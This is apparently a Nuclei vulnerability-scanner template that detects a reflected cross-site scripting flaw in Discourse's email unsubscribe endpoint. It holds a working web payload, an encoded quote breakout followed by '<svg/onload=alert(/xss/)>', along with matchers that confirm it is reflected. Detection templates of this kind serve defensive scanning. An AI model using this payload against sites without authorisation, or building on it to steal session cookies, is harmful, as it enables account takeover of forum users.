id: discourse-xss

info:
  name: Discourse - Cross-Site Scripting
  author: madrobot
  severity: high
  description: Discourse contains a cross-site scripting vulnerability. An attacker can execute arbitrary script and thus steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.cvedetails.com/vulnerability-list/vendor_id-20185/product_id-57316/opxss-1/Discourse-Discourse.html
    - https://github.com/discourse/discourse/security/advisories/GHSA-xhmc-9jwm-wqph
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cwe-id: CWE-79
  metadata:
    max-request: 1
  tags: xss,discourse,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/email/unsubscribed?email=test@gmail.com%27\%22%3E%3Csvg/onload=alert(/xss/)%3E'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - "<svg/onload=alert(/xss/)>"
        part: body

      - type: word
        words:
          - "text/html"
        part: header
# digest: 4a0a00473045022100cdc566df280517b436c2957add8b02cfd25ab0eaeb84b2b85e214f88ee8c216c02204f05c6862c61f962eed3bf93e19830c80a52a578f3abc8d61b860ab032f955f3:922c64590222798bb761d5b6d8e72950